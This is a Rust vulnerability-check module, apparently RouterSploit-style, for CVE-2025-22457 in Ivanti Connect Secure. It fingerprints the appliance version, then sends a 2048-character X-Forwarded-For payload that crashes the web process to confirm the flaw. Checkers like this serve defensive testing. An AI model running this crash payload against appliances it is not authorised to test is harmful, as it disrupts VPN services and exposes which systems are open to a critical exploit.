//CVE-2025-22457 – Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check

//Author: Bryan Smith (@securekomodo)
//Severity: Critical
//CWE: CWE-121 – Stack-Based Buffer Overflow
//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
//Affected Versions:
//  - Connect Secure < 22.7R2.6
//  - Policy Secure < 22.7R1.4
//  - ZTA Gateways < 22.8R2.2

// Description:
//  This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
//  which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.

//  In detailed mode, the vulnerability is confirmed if:
//    1. A pre-check GET request returns HTTP 200
//    2. A POST request with the crafted payload receives no response (safe crash)
//    3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental

//  If this sequence is observed, the system is marked as vulnerable.
//  A vulnerable system will generate the log on the server appliance:
//    ERROR31093: Program web recently failed.

//References:
//  - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
//  - https://www.cvedetails.com/cve/CVE-2025-22457
//  - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce





use anyhow::Result;
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::time::Duration;
use tokio::time::sleep;
use tokio::io::{self, AsyncBufReadExt, BufReader};
use url::Url;

/// ANSI color codes for terminal output
struct Colors;
impl Colors {
    const YELLOW: &'static str = "\x1b[93m";
    const GREEN: &'static str = "\x1b[92m";
    const GRAY: &'static str = "\x1b[90m";
    const RED: &'static str = "\x1b[91m";
    const RESET: &'static str = "\x1b[0m";
}

/// // Paths tested for CVE-2025-22457
const PATHS: [&str; 2] = [
    "/dana-na/auth/url_default/welcome.cgi",
    "/dana-na/setup/psaldownload.cgi",
];

/// // Headers for initial and payload requests
fn default_headers() -> reqwest::header::HeaderMap {
    let mut headers = reqwest::header::HeaderMap::new();
    headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
    headers
}

fn payload_headers() -> reqwest::header::HeaderMap {
    let mut headers = reqwest::header::HeaderMap::new();
    headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
    headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap());
    headers
}

/// // Safe HTTP request wrapper
async fn safe_request(
    method: &str,
    url: &str,
    headers: reqwest::header::HeaderMap,
    timeout_secs: u64,
) -> Option<reqwest::Response> {
    let client = Client::builder()
        .danger_accept_invalid_certs(true)
        .timeout(Duration::from_secs(timeout_secs))
        .build()
        .ok()?;

    match method {
        "GET" => client.get(url).headers(headers).send().await.ok(),
        "POST" => client.post(url).headers(headers).send().await.ok(),
        _ => None,
    }
}

/// // Normalize and extract usable target URL from IPv6/host formats
async fn normalize_target(raw: &str) -> Result<String> {
    let mut input = raw.trim().to_string();

    // // Handle IPv6 edge brackets like [[::1]] or [[[::1]]]
    while input.starts_with('[') && input.ends_with(']') {
        input = input.trim_start_matches('[').trim_end_matches(']').to_string();
    }

    // // Prepend https:// if missing
    if !input.starts_with("http://") && !input.starts_with("https://") {
        input = format!("https://{}", input);
    }

    let mut parsed = Url::parse(&input)?;

    // // Prompt for port if not present
    if parsed.port_or_known_default().is_none() {
        println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET);
        let mut port_line = String::new();
        BufReader::new(io::stdin()).read_line(&mut port_line).await?;
        let port = port_line.trim().parse::<u16>()?;
        parsed.set_port(Some(port)).expect("invalid port");
    }

    Ok(parsed[..].to_string())
}

/// // Version info grabber for passive fingerprinting
async fn grab_version_info(target: &str) -> Result<Option<String>> {
    let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
    let client = Client::builder()
        .danger_accept_invalid_certs(true)
        .timeout(Duration::from_secs(5))
        .build()?;

    if let Ok(r) = client.get(&version_url).send().await {
        if r.status() == StatusCode::OK {
            let body = r.text().await?;
            let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
            let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;

            let name = name_re
                .captures(&body)
                .and_then(|cap| cap.get(1).map(|m| m.as_str()));
            let ver = ver_re
                .captures(&body)
                .and_then(|cap| cap.get(1).map(|m| m.as_str()));

            if let (Some(name), Some(ver)) = (name, ver) {
                println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);

                // // Passive logic
                if ver.starts_with("9.") {
                    println!(
                        "{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
                        Colors::YELLOW, Colors::RESET
                    );
                } else if let Ok(parsed_ver) = semver::Version::parse(ver) {
                    if parsed_ver < semver::Version::parse("22.7.0")? {
                        println!(
                            "{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
                            Colors::YELLOW, ver, Colors::RESET
                        );
                    } else {
                        println!(
                            "{}Version {} appears patched.{}",
                            Colors::GREEN, ver, Colors::RESET
                        );
                    }
                }

                return Ok(Some(version_url));
            }
        }
    }

    println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
    Ok(None)
}

/// // Run detailed check using the 3-phase logic from PoC
async fn detailed_check(target: &str) -> Result<Vec<String>> {
    println!(
        "\n{}Starting detailed check on {}{}",
        Colors::GRAY, target, Colors::RESET
    );

    let mut vulnerable_paths = Vec::new();

    if let Some(ver_url) = grab_version_info(target).await? {
        vulnerable_paths.push(ver_url);
    }

    for path in PATHS {
        let full_url = format!("{target}{path}");
        println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);

        // // Step 1: Pre-check
        let r1 = safe_request("GET", &full_url, default_headers(), 5).await;
        if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
            println!(
                "{}Pre-check failed (status: {}). Skipping...{}",
                Colors::GRAY,
                r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
                Colors::RESET
            );
            continue;
        }

        println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);

        // // Step 2: Payload
        let r2 = safe_request("POST", &full_url, payload_headers(), 10).await;
        if r2.is_some() {
            println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
            continue;
        }

        println!(
            "{}No response to payload (expected crash behavior).{}",
            Colors::GREEN, Colors::RESET
        );

        // // Step 3: Follow-up GET
        sleep(Duration::from_secs(1)).await;
        let r3 = safe_request("GET", &full_url, default_headers(), 5).await;

        if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
            println!(
                "{}Follow-up returned HTTP 200. Crash condition verified.{}",
                Colors::GREEN, Colors::RESET
            );
            println!(
                "{}VULNERABLE: {}{}{}",
                Colors::YELLOW, target, path, Colors::RESET
            );
            vulnerable_paths.push(full_url);
        } else {
            println!(
                "{}Follow-up failed. Crash condition not confirmed.{}",
                Colors::GRAY, Colors::RESET
            );
        }
    }

    Ok(vulnerable_paths)
}

/// // Required entry point for RouterSploit-style dispatcher
pub async fn run(target: &str) -> Result<()> {
    let normalized = normalize_target(target).await?;
    let result = detailed_check(&normalized).await?;

    if !result.is_empty() {
        println!(
            "\n{}Exploit result: SUCCESS – vulnerable paths found.{}",
            Colors::YELLOW, Colors::RESET
        );
    } else {
        println!(
            "\n{}Exploit result: NOT VULNERABLE – no indicators.{}",
            Colors::RED, Colors::RESET
        );
    }

    Ok(())
}
